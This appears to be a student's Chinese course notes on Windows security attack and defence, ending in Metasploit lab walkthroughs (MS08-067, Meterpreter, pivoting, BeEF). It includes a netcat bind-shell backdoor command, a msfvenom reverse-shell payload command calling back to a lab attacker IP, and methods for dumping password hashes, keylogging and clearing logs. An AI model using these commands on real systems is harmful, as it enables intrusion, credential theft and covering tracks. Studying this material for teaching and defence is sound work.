第七章 Windows操作系统安全攻防
1.1 Windows操作系统的基本结构
Windows操作系统内核的基本模块:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码、系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。
Windows的虚拟内存空间分为系统核心内存区间和用户内存区间。
在32位的Windows系统中,2GB~4GB区间为系统核心内存,0GB~2GB区间为用户态内存。
Windows的文件管理系统早期是FAT,由于安全性弱,被NTFS所取代。
注册表中的系统自启动挂接点(ASEP)上注册的应用软件可以随系统引导而自动运行,因此也是很多恶意代码及流氓软件普遍的攻击目标。
Windows网络组件模块:
各种网卡硬件的设备驱动程序
NDIS库及miniport驱动程序
TDI传输层,也称为网络协议驱动
网络API DLL及TDI客户端
网络应用程序与服务进程
1.2 Windows操作系统的安全体系结构与机制
1.2.1 Windows安全体系结构
Windows操作系统的安全设计目标是采用一致的、健壮的、基于对象的安全模型。
Windows操作系统基于引用监控器模型(RM)来实现基本的对象安全模型。
引用监控器模型(RM)最为核心的是位于内核中的SRM安全引用监控器,以及位于用户态的LSASS安全服务。
1.2.2 Windows身份认证机制
Windows操作系统的安全主体:用户、用户组、计算机。
对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
本地Administrator和SYSTEM账户拥有最高的权限。
Windows系统的内建用户组包括:本地最高权限用户组administrators、具有单一方面系统权限的Account/Backup/Sever/Print Operators等操作组、用于容纳服务账户的Network Service与Local Service用户组,以及所有用户账户所在的User组等。
Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中。
即使是Administrator账户,通过正常途径也不能直接读取SAM,只有LocalSystem账户权限才可以读取。
Windows支持本地身份认证和网络身份认证两种方式。
Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程。
网络身份认证使用的协议:LANMAN协议、NTLM协议、NTLMv2协议、Kerberos协议。
1.2.3 Windows授权与访问控制机制
Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施。
对象安全描述符的主要属性:Owner SID、Group SID、DACL自动访问控制列表、SACL系统审计访问控制列表。
1.2.4 Windows安全审计机制
LSASS服务保存审计策略。
SRM对指定的对象访问和操作事件进行审计记录,发送给LSASS服务。
EventLog服务将事件日志写入日志文件中,也可以作为第三方审计日志分析工具的分析输入数据源。
1.2.5 Windows的其他安全机制
Windows基本安全功能特性:身份认证、授权与访问控制、安全审计。
Windows安全中心集成了对于保护Windows系统安全稳定运行最为关键的三项安全措施:防火墙、补丁自动更新、病毒防护。
配置Windows系统的安全策略,需要用户在安全需求及易用性中找到平衡。
1.3 Windows远程安全攻防技术
Windows远程攻击技术分类:远程口令猜测与破解攻击、攻击Windows网络服务、攻击Windows客户端及用户。
1.3.1 Windows系统的安全漏洞生命周期
系统安全的本质核心在于安全漏洞、渗透攻击及安全监测防御机制之间的攻防博弈与竞赛。
典型的渗透攻击过程包括:漏洞扫描、查找针对发现漏洞的渗透代码、实施渗透测试。
metasploit的基础核心是以Ruby语言编写的metasploit framework(MSF)库。
metasploit包含的模块:
利用安全漏洞的Exploits模块
进行扫描、查点等其他辅助任务的Auxiliary模块
在目标系统上植入和运行的Shellcode攻击负载Payloads模块
对攻击负载进行编码以躲避检测的Encoders模块
对攻击负载进行填充的Nops模块
Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面。
1.3.2 Windows远程口令猜测与破解攻击
SMB协议通常运行于TCP445与TCP139端口。
远程口令字攻击的方法:远程口令字猜测、窃听网络上的口令字交换通信实施破解。
Windows进行网络身份认证时使用的协议:LanMan、NTLM、Kerberos:
LanMan是Windows在NT5.x之前使用的认证协议
NTLM协议是Windows为了替代LanMan协议而在NT5.x中开始引入的
Windows在域环境中使用安全的KerBeros协议
远程口令猜测与破解最根本的防御措施是通过安全培训与教育来让网络中每个用户都能够设置较高安全强度的口令。
技术方面的防御措施:
尽量关闭不必要开放的易受远程口令猜测攻击网络服务
配置主机防火墙来限制对上述端口的服务
利用网络防火墙来限制到这些服务的访问
禁用过时而且存在本质上安全缺陷的LanMan与NTLM
管理员可以制定和实施强口令字策略,此外可以设置账户锁定阈值,最后还可以在系统上激活帐户登录失败事件审计功能
1.3.3 Windows网络服务远程渗透攻击
Windows操作系统默认开放135(TCP)、137(UDP)、138(UDP)、139(TCP)与445(TCP)端口。
默认开放端口著名漏洞及攻击案例:
针对NetBIOS网络服务的著名漏洞及攻击
针对SMB网络服务的著名漏洞及攻击
针对MSRPC网络服务的著名漏洞及攻击
针对Windows系统上微软网络服务的远程渗透攻击(IIS Internet服务、MS SQL数据库服务、exchange电子邮件服务、MSDTC服务、DNS域名服务、WINS服务)
针对Windows系统上第三方网络服务的远程渗透攻击(Apache、WebSphere、Tomcat、Oracle、MySQL、Serv-U、FileZilla)
网络服务远程渗透攻击防范措施:
从软件设计开发根源上尽可能减少安全漏洞的出现。
作为系统的使用者和管理员,应尽可能快地更新与应用软件安全补丁。
在安全漏洞从被意外公布和利用到补丁发布的这段“零日”漏洞时间,管理员对安全敏感的服务器应该测试和实施科永的攻击缓解配置。
利用服务软件厂商及社区中提供的安全核对清单来对服务进行安全配置。
通过漏洞扫描软件来标识网络中存在的已知安全漏洞并及时修补。
1.4 Windows本地安全攻防技术
1.4.1 Windows本地特权提升
GetAdmin系列曾经是在WindowsNT4.x版本上非常流行的提权攻击工具。
metasploit的MeterPreter模块集成了本地特权提升的功能,可以利用其getsystem命令实现提权。
1.4.2 Windows敏感信息窃取
本地获取口令字密文的途径:
从另一种操作系统启动后拷贝文件系统中的口令密文文件。
利用硬盘修复工具包中的rdisk工具,执行rdisk/s-命令创建SAM备份文件副本。
使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文。
LSA Secrets收录如下信息:
某些服务账户的明文口令字
本季系统最近10位用户的口令字密文
FTP、Web用户的明文口令字
RAS远程访问服务拨号账户的名字和口令字
用来访问域控制器的计算机账户和口令字密文
1.4.3 Windows消踪灭迹
Windows Resource Kit工具包里的auditpol程序可以让他们轻易地关闭审计功能。
使用Event Viewer事件查看器来打开、读取和清除这台主机上的事件日志。
使用metasploit中的MeterPreter模块所支持的IRB shell脚本功能,可以删除整个目标系统事件日志记录。
消踪灭迹的防范措施:将日志记录到cdrom或者传输到安全的日志服务器中,也可以定期备份。
1.4.4 Windows远程控制与后门控制
第三方的远程控制和后门程序主要分为:命令行远程控制工具、图形化远程控制工具。
Netcat工具是攻击者们最常用的命令行远程控制工具么可以通过“nc-L-d-e cmd.exe-p 80”命令启动后门服务,监听所配置的TCP 80端口,并绑定cmd.exe这个Shell程序,当攻击者使用Netcat作为客户端连接目标主机的80端口时,就可以通过网络直接访问到目标主机上的cmd.exe来执行任意的操作。
Meterpreter的设计目标包括如下:隐蔽性、设计功能强大、灵活可扩展。
防御者可以采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
Windows攻击实践
实验内容:使用Metaspoit攻击MS08-067,提交正确得到远程Shell的截图。
Kali攻击机ip为192.168.110.132
windows靶机ip为192.168.126.128
打开msfconsole
查找是否存在ms08-067漏洞,看到返回相应信息
输入使用该漏洞攻击程序:命令:use exploit/windows/smb/ms08_067_netapi;执行结束后如下:
设置靶机和攻击机的地址
实施攻击
可见,已经获得了远程的Shell
Kali视频学习(26-30)
漏洞利用之检索与利用
Searchsploit
Searchsploit 属于exploit database集,通过searchsploit可以方便地借助关键词搜索漏洞信息以及其EXP
漏洞开发工具
pattern create 网络漏洞利用包 armitage 结合msf iboss-autopwn-linux ikat 自动化开启不同的exp,等待目标访问中招 terminater 智能电表Hack工具,评估智能电表
漏洞利用之Metasploit基础
Metasploitable在渗透测试中经常被用到,实际上这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。
路径介绍
Kali中msf的路径为/usr/share/metasploit-framework
Auxiliary:辅助模块
encoders:供msfencode编码工具使用,具体可以使用 msfencode –l
exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里
基本命令
msfpayload:用来生成payload或者shellcode
搜索的时候可以用msfpayload -l |grep "windows"这样的命令查询。-o 选项可以列出payload所需的参数。
msfencode:
msf中的编码器,早期为了编码绕过AV,现常用msfpayload与它编码避免exploit中的坏字符串。
msfconsole:开启metasploit的concle
漏洞利用实践
查看靶机IP地址
扫描靶机开放的端口
查看可利用的漏洞
准备开始利用漏洞
设置参数
利用漏洞
可以发现,已经成功进入了目标主机
漏洞利用之Meterpreter介绍
Meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。
Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展命令组成,极大地丰富了攻击方式。其有很多有用的功能,如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe.、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程机器的网络接口和IP地址等信息
常用的命令: background:将当前会话放置后台; load/use:加载模块; Interact:切换进一个信道; migrate:迁移进程; run:执行一个已有的模块,这里要说的是是输入run之后按两下tab键,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等; Resource:执行一个已有的rc脚本常用的Meterpreter类型为:payload/windows/meterpreter/reverse_tcp
执行命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.132 LPORT=2333 R -f exe -i 5 --platform windows > /root/door.exe
生成door.exe文件
将其复制到目标主机
为监听设置参数
开始监听
在目标主机运行door.exe后,建立会话成功
进入会话
查看系统信息
截屏
键盘记录
在目标主机上新建了一个test文件
查看键盘记录的结果
漏洞利用之Metasploit后渗透测试
在跳板机获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统的漏洞,借助Msf已经得到的Meterpreter后门,可以使后续操作更容易。
1、查看当前网卡、网段信息 先控制一台跳板机,查看相关网卡网段信息
2、添加路由表 run autoroute -s 10.0.0.1
3、开Socks代理 通过使用 auxiliary/sever/socks4a模块,创建一个Socks代理,可以作为浏览器,Sqlmp,Namp等使用。
4、通过Background和sessions -i可以自由切换进入Session
5、输入run可以看到Meterpreter上可以做的很多命令
6、获取内网信息run arp_scanner -r 10.0.0.1/24
7、也可上传文件,做端口转发后续测试
8、应用程序/权限维持/Tunnel工具集
9、端口转发 upload lcx.exe c:
漏洞利用之BeEF
对XSS漏洞往往需要一个强大的框架支持,如网络上的XSS平台,在kali下,Beef是一款丝毫不逊色于XSS平台的工具,Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。
启动beef
初始用户名和密码都为beef
BeEF 提供了一个测试的demo,在http://127.0.0.1:3000/demos/basic.html
这个测试的demo是在访问了之后,BeEF就会hock到信息,我们在BeEF中查看,多了127.0.0.1这个文件夹,点开之后会显示一些信息